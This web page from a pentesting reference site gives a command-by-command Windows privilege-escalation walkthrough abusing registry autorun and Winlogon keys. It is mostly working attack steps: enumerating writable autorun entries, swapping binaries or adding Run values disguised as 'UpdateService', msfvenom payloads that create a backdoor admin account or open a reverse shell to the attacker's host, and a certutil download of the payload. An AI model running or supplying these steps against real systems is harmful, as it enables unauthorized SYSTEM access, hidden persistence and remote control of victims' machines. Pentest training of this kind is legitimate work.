Skip to content
HackIndex logo

HackIndex

Windows Registry Autorun Privilege Escalation

4 min read Jul 14, 2026

Windows registry autorun keys launch programs automatically at login or boot. HKLM keys run as the logged-in user with their session privileges, but if a SYSTEM or Administrator process reads and executes autorun entries — or if you can modify entries pointing to executables that run as SYSTEM — you get privileged code execution. The most direct path is finding a writable autorun path whose binary runs as a high-privileged user.

Prerequisites Check

C:\Users\Guest\Desktop> whoami /priv
C:\Users\Guest\Desktop> whoami /groups

Step 1 — Enumerate Autorun Entries

Using winPEAS:

C:\Users\Guest\Desktop> .\winpeas.exe | findstr /i "autorun\|run key"

Manual registry enumeration:

C:\Users\Guest\Desktop> # Machine-wide autorun keys (run as logged-in user)
C:\Users\Guest\Desktop> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
C:\Users\Guest\Desktop> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
C:\Users\Guest\Desktop> reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
 
C:\Users\Guest\Desktop> # User-specific autorun keys
C:\Users\Guest\Desktop> reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
C:\Users\Guest\Desktop> reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
 
C:\Users\Guest\Desktop> # Additional autorun locations
C:\Users\Guest\Desktop> reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
C:\Users\Guest\Desktop> reg query HKLM\System\CurrentControlSet\Services

Using PowerUp:

PS C:\Users\Guest\Desktop> Import-Module .\PowerUp.ps1
PS C:\Users\Guest\Desktop> Get-ModifiableRegistryAutoRun

Step 2 — Check Permissions on Autorun Binaries

For each entry found, check if the binary path is writable:

C:\Users\Guest\Desktop> # Get the path from the registry value
C:\Users\Guest\Desktop> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
 
C:\Users\Guest\Desktop> # Check permissions on the binary
C:\Users\Guest\Desktop> icacls "C:\Path\To\autorun-binary.exe"
C:\Users\Guest\Desktop> accesschk.exe -quvw "C:\Path\To\autorun-binary.exe" /accepteula

Look for (W), (M), or (F) for your user, BUILTIN\Users, or Everyone.

Step 3a — Writable Autorun Binary (Replace It)

If the binary the autorun key points to is writable:

C:\Users\Guest\Desktop> # Back up the original
C:\Users\Guest\Desktop> copy "C:\Path\To\autorun-binary.exe" "C:\Path\To\autorun-binary.exe.bak"
 
C:\Users\Guest\Desktop> # Replace with payload
C:\Users\Guest\Desktop> copy /y C:\Windows\Temp\payload.exe "C:\Path\To\autorun-binary.exe"

Wait for the next login or trigger if possible.

Step 3b — Writable Registry Key (Change the Path)

If the registry key itself is writable, change the path to your payload:

C:\Users\Guest\Desktop> # Check registry key permissions
C:\Users\Guest\Desktop> accesschk.exe -uwkqs Users HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /accepteula
 
C:\Users\Guest\Desktop> # If writable, add or modify an entry
C:\Users\Guest\Desktop> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "UpdateService" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

Step 3c — Add HKCU Autorun (No Privileges Needed)

You can always write to your own HKCU autorun keys. This executes your payload when you log in — only useful if you are already SYSTEM or can escalate another way, but worth knowing:

C:\Users\Guest\Desktop> reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "UpdateHelper" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

More useful: if an admin user regularly logs in on this machine and your payload is in HKCU for that user's profile (accessed via another technique), you can chain to their session.

Step 4 — Create the Payload

┌──(kali㉿kali)-[~]
└─$ # Add admin user
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/exec CMD="net user hacker Password123! /add && net localgroup administrators hacker /add" -f exe -o payload.exe
 
┌──(kali㉿kali)-[~]
└─$ # Reverse shell
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o payload.exe

Transfer to target:

C:\Users\Guest\Desktop> certutil -urlcache -split -f http://$LHOST:8080/payload.exe C:\Windows\Temp\payload.exe

Step 5 — Trigger Execution

Autorun keys fire on the next login. Wait for an admin or SYSTEM process to log in, or force a logout/login cycle:

C:\Users\Guest\Desktop> # Check if any other users are logged in
C:\Users\Guest\Desktop> query user
C:\Users\Guest\Desktop> qwinsta
 
C:\Users\Guest\Desktop> # Log off current session (will trigger autoruns on next login)
C:\Users\Guest\Desktop> logoff

Winlogon Keys

Winlogon registry entries are especially powerful — they run as SYSTEM during the login process:

C:\Users\Guest\Desktop> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Check Userinit and Shell values. If these point to writable binaries or if you can modify the key, your payload runs as SYSTEM at every login.

References